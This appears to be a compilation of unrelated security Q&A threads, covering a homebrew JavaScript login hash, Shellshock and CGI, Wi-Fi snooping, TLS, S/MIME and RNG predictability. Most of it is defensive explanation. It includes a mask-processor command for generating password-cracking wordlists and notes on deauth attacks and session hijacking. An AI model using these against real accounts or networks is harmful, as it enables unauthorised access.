How can i find what hashing algorithm was used? One of my clients has asked me to modify the login page that their board members use to access their materials. The problem here is that the person previously responsible for this has left no documentation behind and the passwords are encrypted with some (seemingly simple) algorithm.

I have access to the hashes, and I know what the passwords are. The javascript is using the hash as their password. My thought is that if I can figure out what the algorithm is that I can create new accounts to suit their request.

Is there a way I can check to see what the algorithm is?

The user is prompted to select their name from a drop down menu and their password is associated with the hash beside their name in the HTML code. The form option looks like this (note that N denotes a numerical value and L denotes a letter).

<option value='Username|NNNNN|LLLLLLLL'>Username

The actual script that parses the value looks like this

<SCRIPT LANGUAGE="JavaScript">
<!-- Begin
var params = new Array(4);
var alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHI";

function check(form) {
    which = form.memlist.selectedIndex;
    choice = form.memlist.options[which].value + "|";
    if (choice == "x|") {
        alert("Please Select Your Name From The List");
        return;
    }
    p = 0;
    for (i = 0; i < 3; i++) {
        a = choice.indexOf("|", p);
        params[i] = choice.substring(a, p);
        p = a + 1;
    }
    h1 = makehash(form.pass.value, 3);
    h2 = makehash(form.pass.value, 10) + " ";
    if (h1 != params[1]) {
        alert("Incorrect Password!");
        return;
    };
    var page = "";
    for (var i = 0; i < 8; i++) {
        letter = params[2].substring(i, i + 1)
        ul = letter.toUpperCase();
        a = alpha.indexOf(ul, 0);
        a -= (h2.substring(i, i + 1) * 1);
        if (a < 0) a += 26;
        page += alpha.substring(a, a + 1);
    };
    top.location = page.toLowerCase() + ".html";
}

function makehash(pw, mult) {
    pass = pw.toUpperCase();
    hash = 0;
    for (i = 0; i < 8; i++) {
        letter = pass.substring(i, i + 1);
        c = alpha.indexOf(letter, 0) + 1;
        hash = hash * mult + c;
    }
    return (hash);
}
// End -->
</script>

Is there anyway I can reverse engineer this so that I can create new user accounts?

The algorithm here is:

function makehash(pw, mult) { // Password and... multiplier?
    pass = pw.toUpperCase(); // Case insensitivity
    var hash = 0;
    for (i = 0; i < Math.min(pass.length, 8); i++) { // 8 char passwords max...
        c = pass.charCodeAt(i) - 63; // A = 2, B = 3, etc.
        hash *= mult;
        hash += c;
    }

    return hash;
}

I cleaned the code up a bit and added some comments. Whoever wrote this is utterly incompetent in the fields coding, security and mathematics. Anyway, it is no "official" algorithm like MD5 or AES, but homebrew and incredibly fault-intolerant. It accepts only letters, is case-insensitive, and ignores all characters after the first 8.

I would highly recommend upgrading everyone's password hash. See also:
How to securely hash passwords?

By the way, here is the rest of the code with some formatting:

var params=new Array(4);
var alpha="ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHI";

function check(form) {
    which = form.memlist.selectedIndex;
    choice = form.memlist.options[which].value + "|";
    if (choice == "x|") {
        alert("Please Select Your Name From The List");
        return;
    }

    p = 0;
    for (i = 0; i < 3; i++) {
        a = choice.indexOf("|", p);
        params[i] = choice.substring(a, p);
        p = a + 1;
    }
    h1 = makehash(form.pass.value, 3);
    h2 = makehash(form.pass.value, 10) + " ";
    if (h1 != params[1]) {
        alert("Incorrect Password!");
        return;
    }

    var page = "";
    for (var i = 0; i < 8; i++) {
        letter = params[2].substring(i, i + 1)
        ul = letter.toUpperCase();
        a = alpha.indexOf(ul, 0);
        a -= h2.substring(i, i + 1) * 1; // multiplying by one? Seriously?
        if (a<0)
            a+=26;
        page += alpha.substring(a, a + 1);
    };
    top.location=page.toLowerCase() + ".html";
}

I would add comments, but I'm not sure if it's worth it to find any reason in this mess.


Is server exploitable by Shellshock with cgi-enabled only? A server with vulnerable bash, but cgi enabled only and there are no cgi scripts in cgi-bin. Is it still exploitable ??

If there are scripts in cgi-bin and only server-admin knows about filenames of scripts in cgi-bin.
Is it exploitable by attacker?

How can attacker get to know about names of scripts in cgi-bin?
What are the default script names present in most cgi-enabled servers?

You don't mention which server; is it Apache?  At the moment, it appears that an attacker must be able to cause a CGI program to run in order to exploit the vulnerability. Having no CGI scripts would seem to offer some protection. Removing mod_cgi from httpd.conf would offer more:

a2dismod cgi
apache2ctl graceful

The second part of your question relies on security by obscurity, which is always a bad idea.

Here's a list of potential CGI scripts/programs: https://docs.google.com/document/d/1vN2QOG2OZIAHGXDmd5wB8FPi-Hin2GaIlWRJ0RYkTbA/edit  I didn't compile this list, and have not attempted to vet it for completeness.


Can Chrome's Incognito mode be disabled? Is there a way to disable the use of anonymous navigation window (an Incognito window) in Google Chrome for a computer?

Anonymous navigation is a confusing term. The navigation is not anonymous, it only leaves less traces on the computer.

Even if you disable that funcionality, the user could instruct the browser to wipe all data, and get the same. Or s/he could make the AppData folder for Chrome read-only, and get the same effect.

There's better ways to do that. The easier is to have a policy signed by the employees stating that all the internet access is logged, must only be used for business reason, and they agree with it. Install a company-wide proxy with logging enabled.


Generic defense againt SQL injection This is a little bit of a rant, but there's a real question at the end.

I recently installed a new perl script on a site (which will remain nameless) which failed mysteriously with an error 403.  Eventually I found a clue in this error in the apache error logs

  [error] mod_security: Access denied with code 403. Pattern match "select.+from" at REQUEST_URI [severity "EMERGENCY"]

Which I believe to be from an utterly simpleminded attempt to defend against SQL injection attacks, by rejecting any HTTP request which contains "select" followed by "from".

Obviously, the pattern could be made much more complex, but the whole approach looks bankrupt to me. The question is, is there any generic approach that could actually work, or is it necessarily something that has to be done closer to the actual database manipulation.

The only generic approach to preventing SQL injection is to use parameterised queries, also known as prepared statements. These essentially separate out the data from the query language at the protocol level, so the DBMS software will not try to parse any query language from the parameters.

The mechanism you described looks like it's filtering requests with blacklist patterns, which isn't necessarily a bad thing (defense in depth is good!) but seems pretty redundant if queries are being handled properly, and can never replace real solid security practices.


Keeping login in sync with third party providers When you use a third party for authentication (E.g. Google/Facebook javascript SDK), their SDK keeps track of the login status.

If I have my own server, which requires an access token of it's own (which is issued after validating the third party authentication), how important is it to keep the access to my resource server in sync with the login status of the third party?

For example. If the third party login status changes to logged out, should I watch for this and automatically expire my own server access token. Or should I treat them quite separately?

If you're using oAuth with Facebook or Google you will be issued an "access token" for the user to access your application. This access token will have an expiry.

Once it is expired, you should use a "refresh token" to ask for another "access token" for the user. If this is not granted, this is when you should logout the user.


OS Fingerprinting for Android Are traditional OS-fingerprinting techniques effective in identifying Android smartphones (OS version) on a network. From my research I found most Android network mappers can be only run from Android platforms and tools such as nmap are unsuccessful.

Android 1.5 Cupcake  Linux kernel 2.6.27

Android 1.6 Donut    Linux kernel 2.6.29
..............................................................

Android 4.0.x Ice Cream Sandwich  Linux kernel 3.0.1

What are the best ways of identifying a smartphone or any other WiFi enabled smart devices on a network? Secondly how can I differentiate between smart devices and actual physical machines (server/desktop)?

While Android is the "official" OS on the device, the underlying OS on all Android phones is Linux. It's also the most popular Linux OS currently in use on smartphones. So if you see a phone that gets identified as running Linux, then it's probably Android.

The catch is that Android phones typically have NO network listening ports open at all, unless there's an app running that does. So a portscan will reveal nothing.

Instead, you'd have to intercept any device-initiated traffic and watch for any clues, such as the User-Agent on an unencrypted web request.


Which type of censorship is being carried out by an ISP (in my case Airtel)? My ISP is Airtel Broadband. I tried opening numerous websites (apunkabollywood.com being one) but I get a clear message saying that:

  Your requested URL has been blocked as per the directions received from Department of Telecommunications, Government of India. Please contact administrator for more information.

I tried nslookup for this website (it got resolved) and also I tried ping and traceroute (both were successful). That potentially rules out DNS or IP based filtering. Can someone please tell, potentially which type of filtering is being carried out by Airtel?

Your ISP is almost certainly directing you through a transparent proxy.  As such, all of your web traffic is going through an intermediary set of "web servers" before going on to the site you are actually trying to access.  Your ISP is doing this for 2 reasons.  1. it can censor and track your traffic per its or the government's policies, and 2. it can rate limit the flow of your data.

I would suggest using a proxy service like Tor to get around these restrictions.

FYI- apunkabollywood.com resolves to 208.78.41.214 in the US.


Hidden network no beacons Do hidden networks send beacons?
I have seen hidden networks in backtrack and Ubuntu using airodump-ng. The output is weird like the power is shown as -1.
Why does this happen?

As you can see here there are no beacons for a hidden network.

Yes, hidden network still send a beacon frame, just without the SSID.

Your wireless hardware sends the estimated received power level to Aircrack-NG. It could be due to unsupported hardware or your hardware is not able to come up with a good power figure for the signal. Check out this forum for some older info, and look at their hardware compatibility list


What is going on with people trying to open Paypal accounts under my domain Say our domain is contoso.com. We have our email set up so if anybody typos an email address it lands at support@contoso.com. So if you email anybody in the firm but get the email address wrong it will land in the support email box.

We have received emails from Paypal in the support mailbox indicating someone tried to open an account using, say,  'johnsmith@contoso.com' which does not exist. We are sure this is not anybody in the firm. Only I have the ability email accounts and I am sure my account has not been compromised.

Question is, why would anybody do this? What's the point of trying to open a Paypal account as billg@microsoft.com if you have no way to receive those emails?

This is what we call as standard Internet background noise. It manifests itself in different ways on different types of systems (webservers, mail servers, routers, VPN concentrators, etc..

It's just hackers using bots to get through points of low resistance. They're not worried about high failure rates because cost is low and payouts are well worth it. I know this sounds like normalization of something evil - it probably is, but the risk is low and cost of defense (beyond standard / minimal best practices) is high - so not quite worth paying much attention.

Now that you know the type of attack, do setup alerts - not for the failures, but for a success after a string of failures.

If you have a reputation system, you could also add any metadata you have about the attempt - for future tracking of potentially legitimate access from the same/similar source. Most reputation systems are IP address based - a technique that is low-fidelity in this day and age. So try to go beyond that if your logs have more info.


Can other WIFI users see my network traffic? Lets say I go to some hotel, the hotel has a WIFI network that requires as password and/or username to access. Can other hotelguests then see my wifi traffic if they are not logged in to the wifi, and can they see it when they are connected to the WIFI as a guest like me..but not as the network admininistrator (which CAN obviously see it)?

Yes, if they know what they're doing. See https://www.howtogeek.com/204335/warning-encrypted-wpa2-wi-fi-networks-are-still-vulnerable-to-snooping/ for an assessment of the vulnerabilities for WPA2-PSK (the most common form of encrypted WiFi). If the hotel wifi network uses WEP, that's even easier to crack, and if it doesn't use encryption at all (open Wifi), it's trivial.

The only way to protect yourself is to use a VPN service, so that all of your network traffic is encrypted at your end (regardless of whether you are browsing a news web site or doing Internet banking). This will protect you from someone snooping at the router as well.

Note that it doesn't stop anyone from kicking you off the wifi (via DEAUTH), but at least they won't get any of your data even if they capture the encryption key used between your device and their wifi hotspot.


How does digital signature algorithms work in a private / public key environment? From the Wikipedia page on the subject, I get, on a theoretical level, how the process of encrypting and decrypting a message works. The article states that:

  In a public-key encryption system, any person can encrypt a message
  using the public key of the receiver, but such a message can be
  decrypted only with the receiver's private key.

So far, so good. In very simplistic terms, I could have my private that that is 123 and use its md5 hash (202cb962ac59075b964b07152d234b70) as public key. So, I can always regenerate the public key knowing the private key but not vice versa. Then, talking about signing a message, it is written that

  Message authentication involves hashing the message to produce a
  "digest," and encrypting the digest with the private key to produce a
  digital signature. Thereafter anyone can verify this signature by (1)
  computing the hash of the message, (2) decrypting the signature with
  the signer's public key, and (3) comparing the computed digest with
  the decrypted digest

The part that I don't get is decrypting the signature with the signer's public key. Isn't it stated in the first part that only a private key can decrypt a message?

As far as I understand, the kind of algorithm used here is something different from the "md5 hash" I proposed earlier because you can decrypt a message encrypted with the public key by knowing the private key and decrypt a message encrypted with the private key by knowing the public key.

How do such algorithms work?

In an asymmetric algorithm you have two keys. Lets call them A and B. Whatever you encrypt with A, you have to decrypt with B. Whatever you encrypt with B, you have to decrypt with A. (This is true for not all, but most asymmetric algorithms. Also, in practical implementations it is a bit more complicated, see techrafs comment.)

One of these keys are chosen to be private, and kept secret. The other is chosen to be public, and can be distributed.

When a message is signed, the digest is encrypted with the private key. Therefore it must be decrypted with the public key. The fact that it was encrypted with the private key proves the identity of the person who signs it - since only she should have the private key. The fact that it can be decrypted with the public key makes the signature useful, since anyone can verify it.

Note that our system where the MD5 hash of the private key is the public key would not work. How would you decrypt a message encrypted with the private key if you only have the MD5 hash of the private key? If you want to understand how it is actually done, have a look at RSA.


storing the third party credentials in the database/some secure place This question is about storing the third party credentials in the database/some secure place so that it can not be accessed by only authorized user.

Our system connect to the third party system using specific username and password. They are using the basic authentication require the nonce value and plain text password to authenticate. We have a separate credentials for different users connecting to this third party system.

I understand that authenticating a user against our application is possible to salted hash and other 1-way encryption.

Please provide me some best approach so that I can store these third party credentials. our system require these credentials to store locally, so I am looking for some best approaches.

Well, the challenge there is that the credentials in question must be stored in a manner that allows them to be read as plaintext. This means that some of the conventional wisdom about password storage (use bcrypt) is not applicable.

Your goal, then, is to mitigate risk and compartmentalize data. If at all possible, you want to have a different process that authenticates to the foreign site and hands your web application back a file handle to the active authenticated socket. That means that compromised your website won't leak the actual credentials in use as the web application will have no permissions to read that part of the database.

Encrypting the database values is common wisdom, but it may have limited utility depending on how you design your authentication application if it runs on the same server as the database. If you have the time and resources, design it such that the encryption and decryption happen in the authentication application and the database stores the encrypted values. Placing each of those roles on different machines and isolating the database and outside authentication system provide the most segmentation.


Security RESTful web application in Java We are developing two web applications:

Application A : Restful web-services running on a GlassFish Server .
Application B : Dynamic web application running on a Tomcat Server .

I am accessing Application A only via my Application B, I don't want any other application to access my Application A. For this I have planned to install a Client-server certificate in the respective servers, so that my Application A will only be accessed by my Application B, I want to block other Applications from accessing my Application A.

Can you please tell me how to install client - server certificates in the respective servers?

If anyone has a better alternative to obtain this then please explain it to me.

Please explain with an example if possible.

Based on the limited information:

At a minimum your looking layers of security you trying to accomplish.

We'll call this the DMZ. This is the layer that Application A is accessed at, or more simply put, the point of entry for your setup. You don't want anyone beyond this point.
The next layer is the backend. This is your application B and you are trying to restrict the access to this application only through Application A.

At a network level, your best option is through white listing of IP's/Domain Names. If you truly are just in development, and you basically trying restrict users/ other devs from messing with a system that's no ready, simply while listing at your servers FW will probably be sufficient.

You don't need to have a FW in between for something this basic (unless your development demands a certain level of protection upon which I would suggest no using these forums and hire a professional. This place is great for information, but specific engagements shouldn't be done here)

You should know the IP and Ports that Application A and B talk on which is what you want to white list.

If/when you push this into production I would make a few suggested changes.

Depending on your level of required security, use a dedicated firewall to separate your DMZ from the backend (Your organization may have this already).
Use Third Party Signed Certificates, I believe the current best practices are Minimum Key length of 2048, SHA2 signatures, running on TLS 1.1 or greater.
Secure the at the server level. Set your group permission properly, etc for the application. (I am not including actual server security recommendations, but that should be a given).
Know you DMZ access level, and internal application doesn't need to be access by external IPs, and you IT team should know what IP scheme they use and if they are really on the ball, they'll know what IP range will be accessing the application for the dedicated user group.


TLS 1.0 Deprecation and Mitigation Tactics With the deprecation of TLS 1.0 on the horizon, I'm curious how others are handling connectivity and mail delivery issues for dated client environments.

Lets face it, there are more environments live on the internet running deprecated protocols than there are environments running the latest and greatest in updates. How do you handle "important business emails" from these users and still maintain security?

I'd considered setting up a secondary gateway to accept incoming mail under less secure, but more heavily scrutinized conditions, but I've been told this might negate disabling it on the primary environments.

Ultimately my question is whether "you need to upgrade" is a valid response when we start receiving reports that end users can't send us emails.

"You need to upgrade" is absolutely a valid response. TLS 1.0 was defined in 1999 and has been around for 20 years now. TLS 1.2, which is considered secure by today's standards, has been around since 2008, which is plenty of time for even slow companies to migrate to it.

But version numbers alone isn't what gets managers to order an upgrade of their ancient systems. It's a cost/benefit analysis, and in this case it's very simple:

Sticking with TLS 1.0 is a high security risk. Several well-developed attacks against TLS 1.0, such as POODLE or BEAST, exist. If the servers are not upgraded, they risk their e-mails being compromised.

Personally, I would consider supporting provably weak cryptography a security risk. And engaging in such a security risk - especially when there have been so many warnings that you should upgrade - just because some company is unwilling or unable to so, is difficult to justify.


Cracking passwords after a pattern with John So I am trying to find out how easy it is to crack a password using some great Linux tools.

We all know about John as a password cracker and how great it is.  But how about specifying a pattern.

Let's assume the following policies.

A password must start with a capital letter followed by 3 small letters
A password must end with 3 numbers
A password must be exactly 7 in length

Password example: Aabc123

So I have not the slightest clue how to do this.  I tried to Google it, but no success or even hints was made for me.

Is there a way to configure John to do this and how?

Your best bet is to use oclHashcat's mask processor available here.

You can use this to create a wordlist with your exact specifications.

?u is uppercase
?l is lowercase
?d are digits

So you can make a wordlist of the following:

mp64.exe ?u?l?l?l?d?d?d > wordlist.txt

Run either oclHashcat or JTR against that wordlist and you're good to go.


someone may be doing something nasty I have an ssh server. earlier toady, I was about to login to my server, when I got a message that said something along the lines of "Someone may be trying to do something nasty" and indicating a man in the middle attack.

I did not proceed to login. Instead, I shifted to a different network, and logged in. From the alternate network, I did not get the message about something nasty happening.

I have seen this in the past when I do something like change the login key. All the other boxes with expired keys baulk that something nasty might be happening. Until I update the keys.

This time, I have not changed anything.
later, when I went to write up this question I tried to login again from the same machine that previously gave me the warning. This time, I did not get the message.  I opted to not login anyhow.

For now, I do have physical access to the PC, it is running Debian 8.
I forget if I have fail2ban running, but my firewall is on, and Im not using the default ssh port, only certain users (not root) can login.

how concerned should I be? what should I do in this situation?

The most common reason for this is that you are connected to an enterprise network that has active proxying, data loss prevention, filtering or similar. In order to do that for the increasing number of encrypted sessions, "clever" security devices perform a man-in-the-middle attack on your connection by replacing the normal certificate with their own. So now you have an encrypted session with the security device rather than the ultimate end point. The security device makes the onward secure connection itself.

The smarter security devices understand known secure endpoints such as banks and don't bother to intercept their traffic, treating them as trusted end points. Many of these devices perform dynamic risk calculations where you might sometimes get an intercept and sometimes not.

That would certainly cause you to get a warning from PUTTY.

The rule is, never accept a new server signature unless you are absolutely certain you caused it!


How do we know if the hard disk we just bought is "clean"? When we buy a new hard disk drive, what steps can we take to ensure that it is virus-free?

For example, there are many vendors selling hard disk drives on Amazon. When we purchase one, how do we know that it is free of virus?

Disclaimer: I'm pretty paranoid about security.

Given a sufficiently smart adversary with significant resources, you can't.

There are five potential attack vectors:

Malware on the disk within a partition.
Malware within the boot sector.
Malformed partition or filesystem structures that exploit bugs in your OS (example)
Malware within disk firmware.
Modified hardware (e.g. replace the firmware PROM with mask ROM containing malware)

Malware on a filesystem on the drive is easily defeated by formatting the disk when you get it.

Boot sector malware is a little trickier. Whilst an OS install would overwrite the boot sector anyway, this doesn't apply to drives that are going to just be used for data. This kind of thing can be fixed by doing a low-level wipe of the disk with dd or a similar tool, or by re-writing the boot sector with a disk maintenance tool.

Malformed partitions or filesystems can be killed with dd, but then you still have to get into an OS to run the command. It's a good idea to do the first format operation from a Live CD with no other persistent storage attached.

The modified firmware issue is a very tricky one. We know that hard disk firmware can be modified, and there are surely patch vectors from the OS level. Detecting malicious firmware is a tricky task, and you can only really get assurance of firmware integrity by manually (i.e. at the electrical interface level) overwriting the firmware with a manufacturer-supplied and digitally signed firmware image. Since you'd be interfacing directly with the EEPROM, and would be able to read the image back and verify its integrity, you'd have strong assurance that the "safe" firmware was written. This doesn't fix the problem of backdoors at the manufacturer's end, though.

Finally, there's the potential for modified hardware. In such a case, the firmware EEPROM could be ignored in favour of a mask ROM, stored either externally or inside the controller IC package, so that flashing the firmware seems to work but does not actually succeed in changing the firmware code that is actually executed by the device.

At the end of the day, though, does it even matter? Most of the time you're going to get a clean hard disk, and things have to be going very wrong somewhere in the world if you end up with boot sector malware on a signed-and-sealed disk. If an adversary can find out that you've got a hard disk on order from Amazon, get another of that exact drive, backdoor its firmware or hardware in a useful way, break into the delivery truck, and replace the disk with a modified one without anyone noticing, then you are screwed no matter what.

In summary, I'd like to quote from an excellent paper by James Mickens:

  If your adversary is the Mossad, YOU’RE GONNA DIE AND THERE’S NOTHING THAT YOU CAN DO ABOUT IT. The Mossad is not intimidated by the fact that you employ https://. If the Mossad wants your data, they’re going to use a drone to replace your cellphone with a piece of uranium that’s shaped like a cellphone, and when you die of tumors filled with tumors, they’re going to hold a press conference and say “It wasn’t us” as they wear t-shirts that say “IT WAS DEFINITELY US,” and then they’re going to buy all of your stuff at your estate sale so that they can directly look at the photos of your vacation instead of reading your insipid emails about them.


Why not use a URL as a password? When picking a password for a site, is it a good idea to use an unrelated URL, such as http://www.w3schools.com/Sql/sql_injection.asp, as the password?

I can see some benefits - it's hard to bruteforce, it's not personal information, and it's easy to rembember. But since I have never heard anyone recommend it, I asume there are some downsides?

Whether this is a good or a bad idea depends on what kind of password this URL password replaces.

An URL is a usually a fairly long string; the example string is 46 characters long. This makes a simple brute-force attack (e.g. try every single combination of letters, digits and special characters) infeasible and an url like the above one is thus a much better password than one that consists of just a string of 6 fully random letters, digits and special characters.

The above URL is also a better password than the ones that are generally posted in "the ten million most common passwords" etc. The example URL contains at least 4 words - w3schools, sql, injection and asp. Them being dictionary words isn't really a problem. If each of these words was chosen randomly out of a pool of, say, 10000 possible words (this is a lower bound; there are way more than 10000 available domains and many more than 10000 words - this includes the URL of this question, which includes the id '143283' - so that's a million possibilities right there), you'd have a password equivalent to about 53 random bits. That's not including any special characters (e.g. where the slashes and underscores are, which would add a few additional bits). 53 bits isn't safe from brute forcing any more, but it's way, way better than most passwords users select (123456, password, loveyou, Maria, EatMyBackside and so on). So you might be safe simply because other passwords would be cracked before yours (you don't have to run faster than a lion to escape him - you just need to run faster than your peers...)

Now to the problems: The first one is that an URL is, contrary to what you say, kind of personal information. In order to use the URL, you need to know that it exists, e.g. you must have visited it at least once. This is information that could be extracted from sources other than you; for example, if your browser history was captured, chances are good your password URL would be part of it. Someone might also arrive at the URL (or at least at part of it) by eavesdropping on your web browsing and looking at which sites you visit. It would then be a simple job to have a spider crawl all the valid urls on these sites and feed them into a password guesser.

The second one is that while the space of all URLs is fairly big, it's not as big as you'd think. Also, not all domains are equally likely to be the source of your password URL; for example, it's a fairly safe bet you know reddit and craigslist and stackexchange, but that you've never visited the website of the university of Vienna. So even if I can't get at your browser history, and even though I can't check every single URL out there, I can still select likely domain names (say, the 50000 most visited domains) and crawl them, thus increasing my chance that I'll find your password.

The third one is that the math I did to arrive at the password size of 53 bits assumes that the words found in an URL are unrelated and chosen randomly. As you can see with your example URL, the words w3schools, sql, injection and asp are hardly unrelated; they all belong to a cluster of words having to do with the web. Many urls will sport such words taken from a word cluster, thus further reducing the number of combinations I have to try.

So, no, an URL is not a good replacement for a secure password (e.g. a very long one with a strong random element). But still, it's much better than your basic six-letter dictionary word.


Can a KRACK attack force a reauthentication handshake? Is there any way an attack AP can break into an existing connection where handshake has already completed? Can the AP somehow force reauth?

Yes, the AP can issue a Deauth message telling the client that it needs to renegotiate the connection.

Some attacks spoof that message to get the client to reauthenticate either to their rogue AP or to capture information.


Is it viable to encrypt a 'bitlocked' drive again? If one had an encrypted drive using Bitlocker, is it worth it to encrypt that drive again using another tool like VeraCrypt? Does this provide an extra layer of protection?

Not a duplicate of a question which deals with a more generalised point of view.

Not really unless you are attempting to prevent people that have the bitlocker decryption key from accessing the drive, presuming you can make that work at all.


understanding where tor interferes (screenshot) with just goal to better understand where tor interferes and where it hides my browsing from ISP, please look at this picture which just explains how to computers communicate.

You can check on step 6 they mention ISP knows which computer I want to talk to.

Say I want to talk to site www.hello.com using Tor. Now how would this flow go, would in step 6 ISP not see, www.hello.com anymore? what would it see then?

Tor works by routing the traffic through many nodes between you and the host. Here is a good diagram


Does Linux kernel use DEP for kernel memory? Does the Linux kernel use DEP internally for its kernel memory?  In other words, does the Linux kernel take care to ensure that, when the kernel is executing (in kernel mode), every executable location in memory is non-writeable, and every writeable location in memory is non-executable?

I've tried searching, but it's hard to find anything, both because most references about DEP in Linux refer to whether user-level address space has DEP protection, as well as because in the Linux kernel context, I get many hits that match on "dep" as the file extension.  I recently learned that the Linux kernel doesn't presently use ASLR for kernel memory, for a variety of understandable reasons, which led me to wonder whether it uses DEP.

According to “Extending the use of RO and NX”, the Linux kernel applies DEP on architectures that supports it (such as arm and amd64, but not 32-bit x86) since kernel version 2.6.38 (I don't know if RHEL/CentOS have applied a similar patch to their kernel — a lot of the work on DEP originated from Red Hat).

The W^X principle is mostly followed, but not completely: some pages are left W+X, because otherwise it breaks some BIOS. (Don't you love x86?)

DEP was in the grsecurity patch well before it hit the main line.


What prevents this exploit from working (unix SUID)? If I have a user on a unix system where Im allowed to create new files, what prevents me from downloading an executable file onto that system which is already SUID'ed to root on a different system?

Scenario:

I'm logged into a shell with my user Karrax (box1)
On a different system (box2) where I'm already root I set SUID root on an executable
I then transfer/copy the file over to box1

What prevents this file from running as root on the first shell I logged into?

When you copy a file to a different filesystem, what's going on under the hood is that a you create a new file and copy the contents. Moving a file to a different filesystem is done by copying then removing the source. So you have no more privileges when copying a file than at any other time you're creating a file.

When you create a file, it belongs to you. Many unix variants restrict changing the owner (chown) to root. Even those that allow the owner of a file to give it away clear the setuid and setgid bits when doing so. Group ownership changes (chgrp) also clear away the setxid bits unless invoked with root privileges. And you need to own the file or be root to change its permissions. So you can't create a setxid file for a user or group you don't have permission to run programs as.

A different vector for setxid file injection is filesystem mounting. Most configurations only allow the setxid bits on filesystems directly mounted by root (as opposed /etc/fstab entries with the user option on Linux, Samba, FUSE, …). Sometimes, for example with NFS mounts, it's up to the system administrator to ensure that filesystems are mounted with the nosuid option.


How to prevent TLS downgrade on client side? Today I noticed by experiment that Google Chrome (69.0.3497.100) and Firefox (62.0.3) both were willing to connect to a server which only supported TLS 1.0, even though the corresponding support was removed in the browser settings.

In Wireshark I could see the client asking for TLS 1.2 and the server responding that only a lesser version of TLS is supported -- the browser happily continued to connect.

On the other hand, MS Edge, after removing TLS 1.0 and TLS 1.1 support in the Internet Explorer settings (I could not find the setting in Edge) refused to connect to that server. It only connected after adding TLS 1.0 and 1.1 support again or after enabling TLS 1.2 in the server.

Which behavior is correct?

And is there a way to not allow Chrome or Firefox to connect to a server which does not support TLS 1.2? Of coure I could try to remove support on OS level, but I'm not sure whether I want to do that.

For chrome major version 69 the --ssl-version-min=tls1.2 flag was not effective.  Upon updating to major version 70 this flag is working as expected.

Additionally, the following registry key should also work:

HKLM\Software\Policies\Google\Chrome\SSLVersionMin == "tls1.2"


How to sign and encrypt mail using openssl? I am trying to send and encrypt mail using openssl.

So far, I figure I should use theese commands:

cat ${content} | \
    openssl smime -encrypt -inkey lib/me.crt  -aes256 -subject "$titre (cs)" -to someone@hotmail.com lib/MAQUETTE1-me.pem | \
    openssl smime -sign -inkey lib/myroot.key -signer lib/MAQUETTE1-myroot.pem -passin pass:myroot1 | \
    tee ~/tmp7/$T/mail-cs-$c |\
    sendmail -t someone@hotmail.com

another way without cat and tee

openssl smime -encrypt -in ${contents} -out tmp1 -inkey lib/me.crt  -aes256 -subject "$titre (cs)" -to someone@hotmail.com lib/MAQUETTE1-me.pem
openssl smime -sign -in tmp2 -out tmp2 -inkey lib/myroot.key -signer lib/MAQUETTE1-myroot.pem -passin pass:myroot1

sendmail -t someone@hotmail.com < tmp2

same result.

This work fine, except that I loose the first few line of ${content}, which is annoying for plain text content, and fatal when sending binary file.

Have I missed something ?

first lines of ~/tmp7/$T/mail-cs-$c (before being sent to sendmail)

    MIME-Version: 1.0
    Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg="sha1"; boun
    dary="----396B3702CFDE34F2D44DF5C360D9F6FD"

    This is an S/MIME signed message

    ------396B3702CFDE34F2D44DF5C360D9F6FD
    To: someone@hotmail.com
    Subject: contenu du tex 17 (cs)
    MIME-Version: 1.0
    Content-Disposition: attachment; filename="smime.p7m"
    Content-Type: application/x-pkcs7-mime; smime-type=enveloped-data; name="smime.p7m"
    Content-Transfer-Encoding: base64

    MII5sgYJKoZIhvcNAQcDoII5ozCCOZ8CAQAxgfcwgfQCAQAwXTBQMQswCQYDVQQG
    EwJGUjEPMA0GA1UECAwGRnJhbmNlMQ0wCwYDVQQHDARMeW9uMQ0wCwYDVQQKDARP

EDIT:

I want to use command line, I already use thunderbird with proper plugin, and it works fine.
cat and tee are standard unix command,  use very often, I don't believe they can p be part of the problem.
I edited body to remove cat and tee.

as suggested by dave_thompson_085,

I change

 cat ${content} |\

by

 $(file --mime-type ${content} | awk '{printf "Content-type: %s\n",$2} ' ; echo ; cat ${content} ) |\

and it work fine, I juste have to figure out how to send binary document, but that shouldn't be a problem.

thanks every one for help.


How to Determine the State of a Random Number Generator? Its always been said that to get strong cryptographic numbers in computing, a good  random number generator is needed. Without a good source of randomness, it could be possible for an attacker to determine the state of the random number generator and predict the next random numbers. Obviously this means they then either have or could have your encryption keys and things like that.

I know this must be a very real attack, but I've always considered it a theoretical one because I have no idea how this would be done. What would be a good real world scenario would be able to exploit the predictability of a not so good random number generator (but better than "the amount of time since you've opened the command prompt")?

Also, would it be possible to generate a key with said generator, and then have an attacker re-create that key using only an approximate knowledge of the system the generator was run on?

Or, am I completely misunderstanding the vulnerability in a poorer random number generator?

A large number of secure protocols depend on random or secure pseudo-random numbers. Even the session ids created by most web applications for keeping track of which web request belongs to which user depends on random strings which are generated using random numbers.

If, for example, I could predict the next session id generated by a web application, I could hijack this session.

Random numbers are used to create session keys in various protocols (ssl, ssh, ...). If I could predict these keys, I could decrypt the data sent in these sessions. They are also used as nonce values, and if I can predict these, I can break a number of protocols that depend on nonces not being predictable.

how to get at the state

To guess the state of a random number generator, you usually need to observe a lot of numbers generated by the RNG.

This doesn't mean that you have to observe the application that requests these numbers. If you have access to the same RNG (which is possible if you have access to the physical server where your victim application resides), you can simply request a million or ten million numbers yourself, using another program. But usuallly you don't have direct access to the RNG, so you'd either need to passively observe ommunications for a long time or trick the server side into providing more of these numbers (for example, by connecting as a regular user and requesting encryption key rotation 100 times a second in a badly designed protocol that allows for this).

One quality of good random number generators is that they have very long periods, e.g. it takes a huge number of invocations before they start repeating themselves.

Assume for example that you have a really bad generator that starts repeating its sequence of numbers after only 256 invocations. Now if you can observe a few of these random numbers, you can easily pinpoint at which point in the sequence the random number generator is, and correctly predict all future numbers generated.

A good generator should also output numbers that pass various statistical tests. That means that for example all numbers in the output space should be generated with roughly the same frequency, that there shouldn't be detectable patterns (e.g. the RNG always alternating between even and odd numbers) etc.

If you do manage to detect a specific pattern in a RNG, apart from being able to predict parts of a future "random" number, you might figure out that this pattern always occurs when the least important 8 bits in the RNG are in a certain configuration. If you managed to identify a few such patterns that let you infer parts of the RNG's state,  you could combine these observations to yield a larger part of the whole state.

